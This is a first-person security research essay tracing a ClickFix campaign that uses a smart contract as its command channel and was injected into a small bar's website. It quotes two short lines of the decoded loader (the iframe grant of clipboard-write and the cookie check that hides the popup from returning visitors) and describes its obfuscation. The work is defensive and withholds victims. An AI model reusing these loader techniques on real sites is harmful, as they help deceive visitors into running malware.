Immutable
Both Ways
IThe Screenshot
A friend sent me a photograph of his laptop on a Monday morning. He had opened the website of a bar we both drink in, a small place a few streets from my flat, and something had come up that he did not like the look of.
It was a Cloudflare verification box. Except it wanted him to press Win and R, paste something, and hit Enter.
He was right not to like it. That is a technique called ClickFix, and it exists for a very specific reason. A browser will not run a stranger’s code just because you visited a page. So the attacker stops trying to break in and simply asks. The page copies a command to your clipboard without telling you, shows you a box that looks like a security check, and waits for you to run it yourself.
There is no exploit anywhere in it. You are the exploit.
I thought it would take an evening. It took five days, and by the end of it I had the complete operating history of the criminal infrastructure behind that popup: every change of address, timestamped, permanent, public, and written by the operator himself.
He did not mean to leave it. He had no choice.
IIWhy I Am Not Naming Anyone
Before any of the rest, I need to be straight about what I am holding back, because it is more than usual and the reasons matter.
This campaign is still running. The last change I watched go in was on the twenty ninth of July, and I am still watching the contract and the wallets behind it. Several of the businesses I found had not yet been told when I wrote this. The national CERT has all of it.
So three things are missing from this account.
I am not naming any victim. These are a veterinary practice, a magazine, a restaurant, a small metalworking firm. Not one of them chose this, and most of them still have no idea. A public list of compromised websites is not research. It is a target list with footnotes on it. Where the sector matters to the argument I will say what kind of business it was, and no more.
I am not naming the city or the bar. Naming either would identify the first victim by elimination in a town that size, and his web person had the site cleaned within hours of being told, which is faster than most people manage. He deserves better than to be the worked example.
And I am not publishing a small number of the indicators. Some of the infrastructure I found sits in no vendor report anywhere. Publishing it would tell the operator which of his hosts is burned, and he has already shown me twice that he moves quickly when something stops working. Those are with the CERT. They go out when they stop being useful to him.
Everything else is here. The contract, the decoded code, the method, the numbers, and the mistakes I made getting to them.
I would rather publish a paper with holes in it than one that costs a vet her website.
IIIThe Fetch That Came Back Empty
My first three attempts to capture the injection found nothing at all.
I pulled the page with curl and got an unremarkable website. I went back through the Internet Archive, three years of captures, and every one of them was clean. For most of a day I assumed I had misread a screenshot, or that the site had already been fixed, or that my friend had wandered onto something else entirely.
Then I opened the browser’s developer tools and watched the page load properly, and the thing was right there in front of me, doing something I had not expected at all. The page was making requests to six blockchain nodes. Not one. Six, all at once, racing each other.
The injected script contained no address for its command server. It held a contract address and a function name, and it asked the blockchain where to go. Whatever came back, it built the fake Cloudflare box out of that.
Curl does not run JavaScript. Neither does the Internet Archive’s crawler. Both of them were not failing to find the injection. They were structurally incapable of seeing it, and I had spent a day treating their silence as evidence.
A clean fetch proves nothing. That is the first of several things in this account that cost me time, and I am going to keep flagging them as they come, because they are the useful part.
The technique is called EtherHiding, and it was first written up publicly at the end of 2023. Once you see it the appeal is obvious. There is no hosting company to send an abuse report to. There is no registrar to lean on. There is no server anywhere that a police force can walk into a building and carry out, because the server is thousands of machines in dozens of countries all agreeing to remember the same thing forever.
You cannot take a smart contract offline. That is what the thing it runs on is for.
IVWhat Was Actually in the Page
The bar’s website got cleaned while I was still working on it. Their web person moved it to a new host the same day they were told, which should have been the end of my access to the evidence.
It was not, because of a detail I had missed. The injection was an inline script, sitting in the page’s own HTML rather than loaded from somewhere else. And inline scripts are archived.
My earlier searches had failed because I was looking for the wrong thing. The script is obfuscated and contains no readable strings at all: no domain, no address, nothing you could grep for. What it does contain is a decoder, and a decoder has a shape. I searched the archived captures for that shape instead, and found it immediately in a capture from ten weeks earlier.
Search for the decoder, not the payload. That is the second one.
Base64, a single byte of XOR, and a call that turns the result back into running code. Decoding it took about ten lines and touched nothing outside my own machine.
The contract address was already public in vendor reporting, so naming it here costs nothing that is not already lost. Almost everything after this point is not.
I should say something about those six blockchain endpoints, because it would be easy to draw the wrong conclusion from them. They are legitimate public services. Ordinary wallets and ordinary applications use them all day long. Blocking them would break every honest user of that network and would not inconvenience this operator for an afternoon, because he would simply use different ones. The malware is a customer of exactly the same infrastructure everyone else is, which is precisely the difficulty. There is nothing wrong with the destination. The only thing that is strange is the source. A cafe’s homepage has no business talking to a blockchain node, and that is the whole of the detection.
One line in the decoded script matters more than the rest of it put together.
fr.src = url + sep + 'src=' + encodeURIComponent(location.hostname)
+ '&r=' + encodeURIComponent(document.referrer || '');
fr.setAttribute('allow', 'clipboard-write');
The first part builds the address of the fake box, and it puts the compromised site’s own name in it. I did not understand at the time how much that would turn out to be worth. It is what let me find everyone else, and I will come back to it.
The second part is the attack. A page inside a frame from another domain cannot touch your clipboard unless it is explicitly given permission, and that line is the permission being given. Everything else in this campaign is delivery. That is the mechanism.
VNinety Days of Silence
Near the top of the script there is a check that I keep coming back to, because it is the only part of this whole business that made me genuinely angry.
if (document.cookie.indexOf('_cf_verified=') !== -1 ||
document.cookie.indexOf('_wp_perf_ok=') !== -1) return;
Dismiss the fake box once and it writes two cookies into your browser. One of them lasts ninety days. The other is named to look like a WordPress performance setting, so that anyone poking around in their own site’s storage will glance past it.
Sit with what that produces.
The man who owns that bar could have been told, truthfully, that his website was attacking his customers. He would have gone to his own site to look. He would have seen nothing, because he had already clicked the box away weeks earlier, and the malware had made certain he would not see it again until autumn. And he would have said, in complete good faith and with no way of knowing better, that there was nothing there.
He would not have been lying. He would have been looking at a page that had been specifically built to look clean to him and to nobody else.
This is the most important thing in this paper and it is not technical at all. Check your own website is not advice that works against this. There is no amount of ordinary vigilance that closes a ninety day blind spot you do not know you have. Somebody outside has to tell you, and at the moment almost nobody does.
Every argument I would make about how small businesses actually get protected comes out of that one if statement.
VIThe Inversion
Here is the part the operator does not seem to have thought through, and it is the reason this paper exists.
Reading from a smart contract is free and leaves nothing behind. The node does the work locally and hands you the answer, and no record is created anywhere. Every infected page on every compromised site in the world, asking that contract where to send its victims, millions of times over, produced not a single entry.
Writing is different. Changing the address is a transaction. It is signed, it is timestamped, it costs a fraction of a cent, and it is written into a public ledger that no participant can remove.
So the transaction list on that contract contains the operator’s changes and nothing else. Not a sample of them. Not a snapshot taken by a vendor on the day they happened to look. All of them, with the victim traffic filtered out by the architecture itself.
A hundred and forty four changes. A hundred and twenty five different hostnames. From the eleventh of March to the twenty ninth of July.
I checked that four separate ways before I believed it, working outward from his own address, inward from the contract, rebuilding it from raw transaction data on my own machine, and again through a block explorer that kept truncating and had to be paged through by hand. Every single transaction into that contract, all hundred and forty five of them, comes from one address. There is no second person writing to it and no key ever changed hands across five months.
That is a stronger thing to be able to say than I expected. It is not that I collected his transactions. It is that I have every change that contract has ever undergone, and I can prove there are no others.
He chose a place that could not be seized. The same property means he cannot go back and tidy it either.
VIIWatching Somebody Work
Once you have five months of a person’s changes in order, you stop reading it as data and start reading it as behaviour.
He deployed his first contract at 18:54:01, and then, as far as the ledger shows, did nothing with it for the better part of an hour. At 19:46:47 he came back and wrote a live address into it.
That contract does not work, and I can show you how it fails rather than only assert it. Ask any function on it and the answer comes back invalid jump destination. That is not a contract declining to do something. It is the machine trying to jump to a place in the code that is not there. Ask the same questions of the replacement and the functions it does not have come back execution reverted, which is the ordinary way a working contract says no. Same endpoint, same minute, two different kinds of failure. The first one is not wrong about anything. It is broken a level below being wrong.
He found that out a hundred and fourteen seconds after the write. At 19:48:41 he deployed a replacement, and at 19:49:17, thirty six seconds after that, he wrote the identical address into it. That one worked, and it is still working now.
The broken one has two transactions in its entire existence, because it never worked at all.
Then there is the twenty third of March. Until 13:02:01 that day, every address he wrote was a full web address. From 13:14:39 onwards, every one of them is a bare hostname. The same host appears in both formats on either side of that gap.
That dates a change in his code to a twelve minute window, and I got it from his side of the wire without ever seeing his machine. The script I pulled out of the archive two months later still carries a leftover branch that handles the old format, which is a small independent confirmation that the change happened where the ledger says it did.
And then there is the thirtieth of June, which is my favourite thing in the whole log.
For nearly four months the domain names he uses are written by a person. They are crude, transliterated, occasionally quite funny, and they average about ten and a half characters. Then, inside a window of two hours and seventeen minutes on the thirtieth of June, they stop. What comes after is machine generated: fourteen of the next eighteen are exactly six characters, none of them contain a real word, and the range of letters they start with collapses to five.
Two of them differ from each other by a single letter. Nobody registers those two domains a week apart on purpose.
That is a generator with a state space too small to keep out of its own way, and it is the clearest thing I have ever seen of a person handing a job over to a program.
There is human judgement in there as well, though. Twice he pushed a new domain and put the old one back, once after forty eight seconds and once after a hundred and twenty nine. Something was not ready. DNS had not propagated, or a registrar had pulled it, or the host was not up yet. Nothing fully automatic corrects itself in forty eight seconds. Somebody was watching that go in.
I then spent an afternoon trying to work out where he was, and got nothing at all, which is worth reporting because it is the sort of thing people assume works.
Every hour of the day is occupied, though with a hundred and forty four writes spread across twenty four hours that is what randomness alone produces, so it is colour and not evidence. The test that matters is the distribution, and it will not separate from a uniform one: a chi square of thirty two against a critical value of thirty five, which means I cannot say it is anything other than flat. The best fitting timezone still puts seventeen percent of his writes in the middle of his own night, where a single human being would produce two or three. Day of the week leans slightly toward weekdays and slightly away from Sunday, which is true of most of the planet. Both of the major Russian public holidays have activity on them, which kills the hypothesis the domain names would otherwise suggest.
There is no timezone in this data. What there is instead is a shape that fits automation with somebody stepping in when it breaks, which is exactly what the forty eight second rollback looks like.
And the language in the names is a language signal, not a location one. Russian is spoken across eleven timezones and by a diaspora on every continent, and I am not going to pretend a joke in a domain name tells me what country somebody sleeps in.
VIIISixty Five Minutes
The gas that paid for the contract came from somewhere, and the ledger keeps that too.
He withdrew from a cross chain bridge at 18:44:35. Two minutes later it moved to a fresh wallet. Three minutes after that, to a second fresh wallet. Six minutes after that, to the address he would use for everything.
At 18:54:01, nine and a half minutes after the money left the bridge, he deployed his first contract. That is where this infrastructure actually begins, and it is nearly an hour earlier than the point any published account of this campaign starts from.
At 19:02:53 he registered his first domain, the one impersonating Cloudflare.
Then the hour described in the last section: a write into a contract that could not answer at 19:46:47, a replacement at 19:48:41, and the same address written into the working one at 19:49:17.
Ten minutes from money to deployed infrastructure. Sixty five from money to a working command channel. The difference between those two numbers is the hour he spent on something broken.
Both of the wallets he passed the funds through are now dust, with no activity before or since. They did one job each and were abandoned. That makes them permanently clean indicators, which is an odd thing to be able to say, but it is true: they will never be reused, so they will never generate a false positive for anyone.
The very first thing he ever stored was a domain pretending to be Cloudflare. The idea was fixed from the first minute. Everything after that was rotation.
IXHow Many
I said I would come back to that one line, the one that puts the compromised site’s own name into the address of the fake box.
Public URL scanning services keep a record of every host a page contacted while it was being scanned. Which means that if you know the hostnames, you can work backwards and find the pages. I had a hundred and twenty five hostnames with dates on them.
Roughly two thousand four hundred sites came back. About a thousand of them had contacted two or more different command hosts, which means they were still compromised when the operator rotated to a new one.
I want to be careful with that number, because it is the most quotable thing in this account and the easiest to misuse.
It is a floor and not a count. Sixty five of the hundred and twenty five hostnames hit the search service’s result ceiling, so over half of the sweep is truncated, and the ones that truncated are the ones that were scanned most.
But the more important limit is this. The bar that started all of this does not appear anywhere in those results. It was a confirmed compromise, I had already decoded its loader, and it is absent from all six thousand four hundred rows, a row being one page seen contacting one command host on one date, because these services only know about pages that somebody chose to submit and nobody ever submitted a bar in a Dutch city. Absence in that dataset means nothing whatsoever, and it cannot be used to clear anyone of anything.
I also nearly got the whole thing backwards. The obvious reading is that these are pages that loaded the command host. There is another reading that fits the same data exactly: the scan might have been submitted for the command host itself, been redirected, and recorded wherever it landed. Both stories are consistent with the summary view. Separating them meant going into individual scans and comparing what had been submitted against what had actually loaded, one at a time. The first reading survived.
Had I not checked, I would have published a list of victims that was partly fiction.
XThree Ideas That Do Not Work
These are negative results, and I am publishing them so somebody else does not spend the same fortnight on them.
The first was certificate monitoring, and it was the one I was most attached to. One of the command domains had its TLS certificate issued three days before it went live. If that holds generally, then watching certificate transparency logs gives you three days of warning.
It does not hold, and the reason is mechanical. Certificates on this infrastructure are provisioned automatically when the domain is activated, which means the certificate is issued after the registration, always, by construction. Certificate lead time is registration lead time minus a few minutes. It is the same signal arriving slightly later.
On the most recent domain I checked, the certificate reached the transparency logs nine and a half minutes after the payload was already live. A monitor would not have been early. It would have been late.
My three day observation was measuring registration lead and I read it as certificates being early. One sample.
There is a trap inside that one that nearly became a finding, and I want to name it because it produced an impossible result and I almost believed it. Certificate not-before timestamps are backdated for clock skew, usually by about an hour, and some issuers round to midnight. Use that field as the issuance time and you get certificates that appear to have been issued before the domain they certify was registered. I had three of those lined up in a table before I worked out what I was looking at. Use the transparency log entry time instead.
The second idea was registration monitoring, which is deader than the first.
In March, the gap between registering a domain and putting it to work was about forty six minutes. In April it was days. By May and June it was hours. On the twenty fifth of June it was two hundred and two seconds.
On the twenty ninth of July it was twenty seven seconds.
By the time a domain shows up in zone data it is already serving victims. What survives from that analysis is the registrar, not the registration. One small registrar accounts for twenty one out of twenty two of the domains I sampled, across five months and every extension he used. That is a durable place to watch, and it independently confirms something a vendor had already published, at greater scale and from the ledger rather than from a sample.
The third was the timezone work in section VII, which produced nothing, as described.
XIWhat Actually Helps
There is one control that defeats how this campaign delivers itself, and it is a single line in a web server configuration.
Permissions-Policy: clipboard-write=()
The fake box lives in a frame loaded from another domain, and a frame like that cannot write to your clipboard unless it is explicitly granted permission. Deny that permission at the server and the attack fails, even if the injection is never found and never removed. It costs nothing, it breaks nothing, and it works on a site whose owner has no idea anything is wrong.
It does not cover everything, and I would rather say so than oversell it. The header gates the modern clipboard interface, which is the one this loader asks for, which is why the loader has to ask. There is an older way to write to a clipboard that needs nothing but a click, and the victim is already supplying the click. A variant built on that would walk straight past this. But every sample I have reaches for the permission, and having to ask is what makes them visible.
If one thing from this paper reaches somebody who runs hosting for small businesses, I would like it to be that line.
The rest is less elegant. The backdoor on a compromised WordPress site lives in a directory whose contents load automatically and do not appear in the plugins list, which is why owners who go looking find nothing. The thing that installs it writes itself into the site’s theme and then deletes itself, so that file looks untouched afterwards.
And patching would not have prevented any of this. The published work on this framework is clear that the way in is almost never an exploit. It is a stolen administrator password, bought from an infostealer log or guessed by credential stuffing, and pushed through residential proxies so that the login looks like it came from an ordinary house.
That is the join with the first part of this series, and it is not decorative. The proxy layer I spent months on last time is the thing that carries the login attempt that starts this.
Moving to a new host does not fix it either. The backdoor implies the attacker could write files, which usually means they had a password, and a password follows you to the new host. Hosting panel, FTP, database, registrar, and the administrator email account, which is the recovery path for all the others and the one everyone forgets.
And if somebody actually pasted the command, the payload steals browser passwords, crypto wallets, and session cookies. A session cookie survives a password change. That person needs to sign out of everything everywhere, not just pick new passwords, and they need to be asked directly, because nobody volunteers that they pasted something strange into a box.
XIIIdentified, Not Attributed
I know what toolkit this is. It is a framework rented out as a service, sold on a criminal forum by somebody operating under a handle, with what appear to be separate customers running separate clusters off separate contracts.
I do not know who used it against that bar, and I am not going to be able to find out.
That distinction is the whole architecture. Rented tooling so the builder is not the operator. A command channel nobody owns so there is nothing to seize. Disposable domains bought through one registrar and burned within days. Funding layered through single use wallets and a bridge to another chain. Every layer of it is designed so that the sentence “this person did this” cannot be finished.
So I write identified as, and never attributed to. It is a smaller claim than a reader wants and it is the only one the evidence supports. Writing the bigger one would hand any critic the single flaw that discredits everything around it.
XIIINot a Story About Crypto
I want to refuse a framing before somebody applies it for me.
Nothing in this is paid, laundered, or transacted on the victim’s side. No victim’s wallet is touched. Nobody is defrauded of a coin. The blockchain component is a read of a public ledger, and it would work exactly the same if the ledger held recipes.
The point is not crypto. The point is that immutability is takedown resistance, and that a system built so that no participant can remove another participant’s data does precisely what it says on the tin when the participant is a criminal.
Which is the same argument as the first part of this series, arriving from the opposite direction. There, the absence of an owner was something that emerged from how a market behaves: nobody owns the residential proxy rails because a resource that can be mass produced always resolves into a commons. Here it is not emergent at all. It is an engineering guarantee, sold as a feature, working correctly.
There is no abuse desk, because there is no abuse desk by construction.
And he paid for that with a permanent, public, timestamped record of every change he has ever made. The contract he deployed broken. The twelve minutes in which he changed his mind about a data format. The afternoon in June he stopped naming his own domains and let a program do it.
He went looking for somewhere the law could not reach, and he found it, and it kept every receipt.
XIVThe Part I Keep Coming Back To
Not the blockchain. Not the two thousand four hundred sites. Not the contract deployed broken and replaced in a hundred and fourteen seconds, satisfying as that is.
The cookie.
A man runs a bar. Somebody built him a website years ago and it has been quietly sitting there since. He is not negligent and he is not careless. He simply has a business to run and no reason to think about a WordPress plugin from 2023.
For at least eleven weeks his website was handing his own customers a command that empties their browser, and if anybody had told him, he would have looked, seen nothing, and told them they were wrong. Because the thing had already made sure of that.
The only reason anyone found out is that a regular customer looked at a popup and thought, that is not right.
That is not a security strategy. That is luck.
And there are a great many small businesses in this country running a website they have not thought about since the day it went live, with nobody watching, and no way at all of knowing.
Everything in this account was produced passively: read only queries against public sources, which is to say blockchain nodes, block explorers, public URL scanning archives, the Internet Archive, and domain registries. No transaction was ever sent to any contract. No request was ever made to any host controlled by the attacker. No wallet was ever connected to anything. Reading a public ledger is not an intrusion; sending anything to one would be, and there is no self defence exemption in Dutch law that changes that.